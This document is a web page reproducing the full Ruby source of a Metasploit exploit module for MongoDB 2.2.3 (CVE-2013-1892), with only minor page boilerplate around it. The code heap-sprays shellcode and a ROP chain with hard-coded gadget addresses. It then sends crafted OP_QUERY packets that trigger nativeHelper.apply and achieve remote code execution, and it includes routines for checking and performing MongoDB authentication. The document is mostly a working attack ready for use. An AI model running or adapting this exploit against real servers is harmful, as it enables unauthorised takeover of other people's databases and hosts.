扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info={}) super(update_info(info, 'Name' => 'MongoDB nativeHelper.apply Remote Code Execution', 'Description'=> %q{ This module exploit a the nativeHelper feature from spiderMonkey which allows to to control execution by calling it wit specially crafted arguments. This module has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze. }, 'Author' => [ 'agix' # @agixid # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'CVE', '2013-1892' ], [ 'OSVDB', '91632' ], [ 'BID', '58695' ], [ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ] ], 'Platform' => 'linux', 'Targets'=> [ [ 'Linux - mongod 2.2.3 - 32bits', { 'Arch' => ARCH_X86, 'mmap' => [ 0x0816f768,# mmap64@plt # from mongod 0x08666d07, # add esp, 0x14 / pop ebx / pop ebp / ret # from mongod 0x31337000, 0x00002000, 0x00000007, 0x00000031, 0xffffffff, 0x00000000, 0x00000000, 0x0816e4c8,# memcpy@plt # from mongod 0x31337000, 0x31337000, 0x0c0b0000, 0x00002000 ], 'ret' => 0x08055a70, # ret # from mongod 'gadget1' => 0x0836e204, # mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c] # These gadgets need to be composed with bytes < 0x80 'gadget2' => 0x08457158, # xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP 'gadget3' => 0x08351826, # add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2 'gadget4' => 0x08055a6c, # pop eax / ret 'gadget5' => 0x08457158# xchg esp,eax } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 24 2013', 'License'=> MSF_LICENSE )) register_options( [ Opt::RPORT(27017), OptString.new('DB', [ true, "Database to use", "admin"]), OptString.new('COLLECTION', [ false, "Collection to use (it must to exist). Better to let empty", ""]), OptString.new('USERNAME', [ false, "Login to use", ""]), OptString.new('PASSWORD', [ false, "Password to use", ""]) ], self.class) end def exploit begin connect if require_auth? print_status("Mongo server #{datastore['RHOST']} use authentication...") if !datastore['USERNAME'] || !datastore['PASSWORD'] disconnect fail_with(Exploit::Failure::BadConfig, "USERNAME and PASSWORD must be provided") end if do_login==0 disconnect fail_with(Exploit::Failure::NoAccess, "Authentication failed") end else print_good("Mongo server #{datastore['RHOST']} doesn't use authentication") end if datastore['COLLECTION'] && datastore['COLLECTION'] != "" collection = datastore['COLLECTION'] else collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz') if read_only?(collection) disconnect fail_with(Exploit::Failure::BadConfig, "#{datastore['USERNAME']} has read only access, please provide an existent collection") else print_good("New document created in collection #{collection}") end end print_status("Let's exploit, heap spray could take some time...") my_target = target shellcode = Rex::Text.to_unescape(payload.encoded) mmap = my_target['mmap'].pack("V*") ret = [my_target['ret']].pack("V*") gadget1 = "0x#{my_target['gadget1'].to_s(16)}" gadget2 = Rex::Text.to_hex([my_target['gadget2']].pack("V")) gadget3 = Rex::Text.to_hex([my_target['gadget3']].pack("V")) gadget4 = Rex::Text.to_hex([my_target['gadget4']].pack("V")) gadget5 = Rex::Text.to_hex([my_target['gadget5']].pack("V")) shellcode_var="a"+Rex::Text.rand_text_hex(4) sizechunk_var="b"+Rex::Text.rand_text_hex(4) chunk_var="c"+Rex::Text.rand_text_hex(4) i_var="d"+Rex::Text.rand_text_hex(4) array_var="e"+Rex::Text.rand_text_hex(4) ropchain_var="f"+Rex::Text.rand_text_hex(4) chunk2_var="g"+Rex::Text.rand_text_hex(4) array2_var="h"+Rex::Text.rand_text_hex(4) # nopsled + shellcode heapspray payload_js = shellcode_var+'=unescape("'+shellcode+'");' payload_js << sizechunk_var+'=0x1000;' payload_js << chunk_var+'="";' payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk_var+'+=unescape("%u9090%u9090"); } ' payload_js << chunk_var+'='+chunk_var+'.substring(0,('+sizechunk_var+'-'+shellcode_var+'.length));' payload_js << array_var+'=new Array();' payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array_var+'['+i_var+']='+chunk_var+'+'+shellcode_var+'; } ' # retchain + ropchain heapspray payload_js << ropchain_var+'=unescape("'+Rex::Text.to_unescape(mmap)+'");' payload_js << chunk2_var+'="";' payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk2_var+'+=unescape("'+Rex::Text.to_unescape(ret)+'"); } ' payload_js << chunk2_var+'='+chunk2_var+'.substring(0,('+sizechunk_var+'-'+ropchain_var+'.length));' payload_js << array2_var+'=new Array();' payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array2_var+'['+i_var+']='+chunk2_var+'+'+ropchain_var+'; } ' # Trigger and first ropchain payload_js << 'nativeHelper.apply({"x" : '+gadget1+'}, ' payload_js << '["A"+"'+gadget3+'"+"'+Rex::Text.rand_text_hex(12)+'"+"'+gadget2+'"+"'+Rex::Text.rand_text_hex(28)+'"+"'+gadget4+'"+"\\x20\\x20\\x20\\x20"+"'+gadget5+'"]);' request_id = Rex::Text.rand_text(4) packet = request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet << "\xd4\x07\x00\x00"#opCode (2004 OP_QUERY) packet << "\x00\x00\x00\x00" #flags packet << datastore['DB']+"."+collection+"\x00" #fullCollectionName (db.collection) packet << "\x00\x00\x00\x00" #numberToSkip (0) packet << "\x01\x00\x00\x00" #numberToReturn (1) where = "\x02\x24\x77\x68\x65\x72\x65\x00" where << [payload_js.length+4].pack("L") where << payload_js+"\x00" where.insert(0, [where.length + 4].pack("L")) packet += where packet.insert(0, [packet.length + 4].pack("L")) sock.put(packet) disconnect rescue ::Exception => e fail_with(Exploit::Failure::Unreachable, "Unable to connect") end end def require_auth? request_id = Rex::Text.rand_text(4) packet ="\x3f\x00\x00\x00" #messageLength (63) packet << request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet << "\xd4\x07\x00\x00"#opCode (2004 OP_QUERY) packet << "\x00\x00\x00\x00" #flags packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" #fullCollectionName (admin.$cmd) packet << "\x00\x00\x00\x00" #numberToSkip (0) packet << "\x01\x00\x00\x00" #numberToReturn (1) #query ({"listDatabases"=>1}) packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00" sock.put(packet) response = sock.get_once have_auth_error?(response) end def read_only?(collection) request_id = Rex::Text.rand_text(4) _id = "\x07_id\x00"+Rex::Text.rand_text(12)+"\x02" key = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00" value = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00" insert = _id+key+[value.length].pack("L")+value+"\x00" packet =[insert.length+24+datastore['DB'].length+6].pack("L") #messageLength packet << request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet <<"\xd2\x07\x00\x00"#opCode (2002 Insert Document) packet << "\x00\x00\x00\x00" #flags packet << datastore['DB'] + "." + collection + "\x00" #fullCollectionName (DB.collection) packet << [insert.length+4].pack("L") packet << insert sock.put(packet) request_id = Rex::Text.rand_text(4) packet =[datastore['DB'].length + 61].pack("L") #messageLength (66) packet << request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet <<"\xd4\x07\x00\x00"#opCode (2004 Query) packet << "\x00\x00\x00\x00" #flags packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd) packet << "\x00\x00\x00\x00" #numberToSkip (0) packet << "\xff\xff\xff\xff" #numberToReturn (1) packet << "\x1b\x00\x00\x00" packet << "\x01\x67\x65\x74\x6c\x61\x73\x74\x65\x72\x72\x6f\x72\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00" sock.put(packet) response = sock.get_once have_auth_error?(response) end def do_login print_status("Trying #{datastore['USERNAME']}/#{datastore['PASSWORD']} on #{datastore['DB']} database") nonce = get_nonce status = auth(nonce) return status end def auth(nonce) request_id = Rex::Text.rand_text(4) packet =request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet <<"\xd4\x07\x00\x00"#opCode (2004 OP_QUERY) packet << "\x00\x00\x00\x00" #flags packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd) packet << "\x00\x00\x00\x00" #numberToSkip (0) packet << "\xff\xff\xff\xff" #numberToReturn (1) #{"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"} document ="\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65" document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00" document << [datastore['USERNAME'].length + 1].pack("L") # +1 due null byte termination document << datastore['USERNAME'] + "\x00" document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00" document << nonce + "\x00" document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00" document << Rex::Text.md5(nonce + datastore['USERNAME'] + Rex::Text.md5(datastore['USERNAME'] + ":mongo:" + datastore['PASSWORD'])) + "\x00" document << "\x00" #Calculate document length document.insert(0, [document.length + 4].pack("L")) packet += document #Calculate messageLength packet.insert(0, [(packet.length + 4)].pack("L"))#messageLength sock.put(packet) response = sock.get_once if have_auth_error?(response) print_error("Bad login or DB") return 0 else print_good("Successful login on DB #{datastore['db']}") return 1 end end def get_nonce request_id = Rex::Text.rand_text(4) packet =[datastore['DB'].length + 57].pack("L") #messageLength (57+DB.length) packet << request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet <<"\xd4\x07\x00\x00"#opCode (2004 OP_QUERY) packet << "\x00\x00\x00\x00" #flags packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd) packet << "\x00\x00\x00\x00" #numberToSkip (0) packet << "\x01\x00\x00\x00" #numberToReturn (1) #query {"getnonce"=>1.0} packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00" sock.put(packet) response = sock.get_once documents = response[36..1024] #{"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0} nonce = documents[15..30] end def have_auth_error?(response) #Response header 36 bytes long documents = response[36..1024] #{"errmsg"=>"auth fails", "ok"=>0.0} #{"errmsg"=>"need to login", "ok"=>0.0} if documents.include?('errmsg') || documents.include?('unauthorized') return true else return false end end end |
体验盒子
